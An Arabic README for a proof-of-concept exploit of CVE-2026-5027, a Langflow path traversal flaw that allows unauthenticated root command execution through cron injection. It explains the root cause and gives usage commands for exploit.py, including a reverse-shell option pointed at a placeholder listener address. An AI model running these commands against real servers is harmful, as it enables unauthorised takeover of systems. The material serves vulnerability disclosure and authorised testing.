
إثبات مفهوم لاستغلال CVE-2026-5027، وهي ثغرة اجتياز المسار في Langflow تؤدي إلى تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه عبر حقن مهام cron.
لا تقوم إصدارات Langflow حتى الإصدار 1.8.4 وما يليه بتعقيم معامل filename في نقطة النهاية POST /api/v2/files. يمكن للمهاجم استخدام تسلسلات اجتياز المسار (../) لكتابة ملفات إلى مواقع عشوائية على نظام الملفات. وعند دمج ذلك مع إعداد تسجيل الدخول التلقائي الافتراضي في Langflow، يمكن استغلال هذه الثغرة دون أي مصادقة، مما يؤدي إلى تنفيذ الأوامر عن بُعد بصلاحيات الجذر عبر حقن مهام cron.
# إثبات المفهوم (يكتب ملف اختبار إلى /tmp/)
python3 exploit.py -t http://target:7860
# مع بيانات الاعتماد (إذا تم تعطيل تسجيل الدخول التلقائي)
python3 exploit.py -t http://target:7860 -u admin -p password
# قشرة عكسية عبر مهمة cron
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444


تقوم الدالة upload_user_file() في src/backend/base/langflow/api/v2/files.py بتمرير file.filename مباشرة إلى خدمة التخزين دون تعقيم. وتقوم الدالة LocalStorageService.save_file() ببناء المسار باستخدام folder_path / file_name، وهو ما لا يمنع اجتياز الدليل.
تُقدَّم هذه الأداة لأغراض الاختبارات الأمنية المصرح بها والأغراض التعليمية فقط. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
يحيى حمزة - https://yh.do